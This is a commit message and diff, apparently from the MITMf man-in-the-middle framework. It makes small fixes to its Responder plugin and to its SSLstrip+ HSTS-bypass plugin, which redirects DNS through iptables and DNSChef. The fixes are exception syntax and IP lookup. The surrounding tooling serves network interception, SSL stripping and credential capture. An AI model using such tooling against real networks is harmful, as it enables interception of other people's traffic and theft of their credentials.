Added error handling to DNS and SMB servers when port is in use

Added check to see if a plugins options were called without loading the actual plugin

plugins/Responder.py

@@ -48,7 +48,7 @@ class Responder(Plugin):
         try:
             config = self.config['Responder']
             smbChal = self.config['MITMf']['SMB']['Challenge']
-        except Exception, e:
+        except Exception as e:
             sys.exit('[-] Error parsing config for Responder: ' + str(e))
 
         LANFingerprinter().start(options)

plugins/SSLstrip+.py

@@ -22,7 +22,7 @@ import sys
 import logging
 
 from plugins.plugin import Plugin
-from core.utils import IpTables
+from core.utils import IpTables, SystemConfig
 from core.sslstrip.URLMonitor import URLMonitor
 from core.dnschef.DNSchef import DNSChef
 
@@ -37,10 +37,11 @@ class HSTSbypass(Plugin):
     def initialize(self, options):
         self.options = options
         self.manualiptables = options.manualiptables
+        ip_address = SystemConfig.getIP(options.interface)
 
         if not options.manualiptables:
             if IpTables.getInstance().dns is False:
-                IpTables.getInstance().DNS(options.ip_address, self.config['MITMf']['DNS']['port'])
+                IpTables.getInstance().DNS(ip_address, self.config['MITMf']['DNS']['port'])
 
         URLMonitor.getInstance().setHstsBypass()
         DNSChef.getInstance().setHstsBypass()